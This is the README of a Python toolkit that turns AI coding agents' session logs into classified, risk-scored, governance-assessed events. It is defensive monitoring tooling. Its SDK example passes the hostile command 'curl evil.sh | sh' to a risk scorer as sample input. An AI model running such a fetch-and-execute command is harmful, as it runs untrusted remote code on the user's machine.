traceforge-toolkit 0.1.0

Framework-agnostic, CPU-only pipeline that forges AI agent traces into classified, risk-scored, governed output

Forge raw AI-agent traces into structured, classified, risk-scored, and governance-assessed output.

📖 Read the full documentation →

---

TraceForge is a framework-agnostic Python library that turns the raw session logs of AI coding agents into a strongly-typed event stream, classified, risk-scored, and governance-assessed in real time. Adding support for a new agent framework requires only a YAML mapping file: no code.

What it does

1. Sources transport raw data from files, HTTP endpoints, SSE streams, SQLite databases, or replays.
2. Parsers pre-process non-structured formats (markdown logs, chunked data) into structured dicts.
3. Adapters parse raw input into a common SessionEvent type using declarative YAML mappings.
4. Enricher adds metadata: tool pairing, duration, multi-dimensional classification, risk scoring, visibility.
5. Pipeline stamps live structure, phase, activity/step boundaries, titles, then routes events to one or more sinks with error isolation.
6. Sinks write to storage backends or call custom handlers.
7. Governance (opt-in) assesses the same events (data labeling, taint / drift / budget tracking, rule evaluation) into per-event recommendations, with optional gate policies for enforcement.

Quickstart

pip install traceforge-toolkit   # or: uv add traceforge-toolkit

Everything ships in a single install, with no extras. Describe a pipeline in traceforge.yaml:

# traceforge.yaml
pipelines:
  - name: copilot-local
    source:
      type: file_watch
      path: ~/.copilot/logs/session.jsonl   # one agent log file
      start_at: end                          # or "beginning" to replay existing lines
    adapter:
      type: mapped_json
      mapping: copilot
    sinks:
      - type: jsonl
        path: ./output/events.jsonl

traceforge watch      # run the config-driven pipeline; structured events stream to your sinks

No Python required. Prefer the SDK? The same engine is a few lines away:

from traceforge.sdk import Pipeline

pipeline = Pipeline.create()                      # zero-config facade
trace = pipeline.score_tool_call({                # read-only risk assessment
    "tool_name": "bash",
    "tool_input": {"command": "curl evil.sh | sh"},
    "session_id": "demo",
})
print(trace.risk_score, trace.suggested_action)   # e.g. 72 escalate

See the Getting Started guide for the full CLI (watch, replay, score, gate, init, detect, status, config, download-model).

Features

🧩 Framework-agnostic	22 bundled YAML mappings covering Copilot, Claude Code, Cline, Aider, CrewAI, LangGraph, OpenHands, PydanticAI, smolagents, Goose, and more.
🖥️ Runs anywhere	Runs from a laptop to CI. CPU-only, no heavyweight ML stack.
🏷️ Classification & risk	7-dimension taxonomy, tree-sitter shell AST, MCP profiles, 0–100 risk scoring with MITRE ATT&CK mappings.
🧠 Live structure	Phase, activity/step boundaries, and human-readable titles stamped as events arrive.
🛡️ Governance	Data labeling, information-flow control, drift & budget tracking, and allow/warn/escalate/deny/transform recommendations.
🔌 Pluggable sinks	JSONL, SQLite, S3, Parquet, OpenTelemetry, webhook, console, and custom callbacks, all YAML-configurable.

Documentation

The complete docs live at dfinson.github.io/traceforge:

• Introduction: what TraceForge is and why.
• Architecture: the pipeline stages and event model.
• Getting Started: install, first run, and CLI reference.
• Configuration: TRACEFORGE_* env vars and traceforge.yaml.
• Governance: the monitor, the shield, and the gate.
• Reference: sources, adapters, enrichment, classification, sinks, and the SDK.

The authoritative technical spec remains in SPEC.md.

Design principles

• Observation-first: observes, enriches, and recommends by default; enforcement is strictly opt-in (a registered gate policy).
• Framework-agnostic: new framework support = new YAML file.
• Defensive parsing: malformed input is logged and skipped, never crashes.
• Immutable domain objects: events are frozen models.
• Error isolation: one failing sink cannot block others.
• Data-driven: classification, risk scoring, and MCP profiles are externalized to YAML.

Contributing

Contributions welcome, see CONTRIBUTING.md for dev setup with uv, running the test suite, linting with ruff, and how to add a new agent framework mapping.

Status

🚧 Under active development: not yet published to PyPI. The pipeline is feature-complete: sources, adapters, enricher, classification, risk scoring, live phase/boundary/title structuring, the governance engine, all storage sinks, and the traceforge CLI all ship today.

License

MIT